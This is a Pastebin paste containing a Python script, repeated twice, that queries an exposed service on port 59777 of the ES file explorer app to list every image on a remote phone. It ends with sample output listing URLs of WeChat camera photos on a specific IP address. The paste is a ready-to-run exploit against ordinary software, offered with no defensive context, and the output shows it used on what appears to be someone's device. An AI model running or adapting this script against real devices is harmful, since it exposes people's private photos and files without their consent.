Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- """
- List all Images from ES Dateiexplorer (insecure)
- Inspiration: https://www.youtube.com/watch?v=Fby_PhyVnC4
- Python 3.6+ is needed
- install requests via pip
- pip install requests --user
- """
- import sys
- import os
- import re
- import requests
- def get_pictures(ip):
- '''
- Returns all urls as list
- '''
- data = {'command': 'listPics'}
- url = f'http://{ip}:59777/'
- req = requests.post(url, json=data)
- result = re.findall(r'"location":"([\w/.]+)"', req.text)
- return [f'{url}{location}' for location in result]
- def main(ip):
- urls = os.linesep.join(get_pictures(ip))
- print(urls)
- if __name__ == '__main__':
- if len(sys.argv) != 2:
- print(sys.argv[0], 'ip address')
- else:
- main(sys.argv[1])
- """
- List all Images from ES Dateiexplorer (insecure)
- Inspiration: https://www.youtube.com/watch?v=Fby_PhyVnC4
- Python 3.6+ is needed
- install requests via pip
- pip install requests --user
- """
- import sys
- import os
- import re
- import requests
- def get_pictures(ip):
- '''
- Returns all urls as list
- '''
- data = {'command': 'listPics'}
- url = f'http://{ip}:59777/'
- req = requests.post(url, json=data)
- result = re.findall(r'"location":"([\w/.]+)"', req.text)
- return [f'{url}{location}' for location in result]
- def main(ip):
- urls = os.linesep.join(get_pictures(ip))
- print(urls)
- if __name__ == '__main__':
- if len(sys.argv) != 2:
- print(sys.argv[0], 'ip address')
- else:
- main(sys.argv[1])
- # output:
- # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1527352187849.jpg
- # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1527432687077.jpg
- # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1527667747623.jpg
- # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/mmexport1529218224446.jpg
- # http://172.254.2.181:59777//storage/emulated/0/tencent/MicroMsg/WeiXin/wx_camera_1529674534777.jpg
- # ...
Add Comment
Please, Sign In to add comment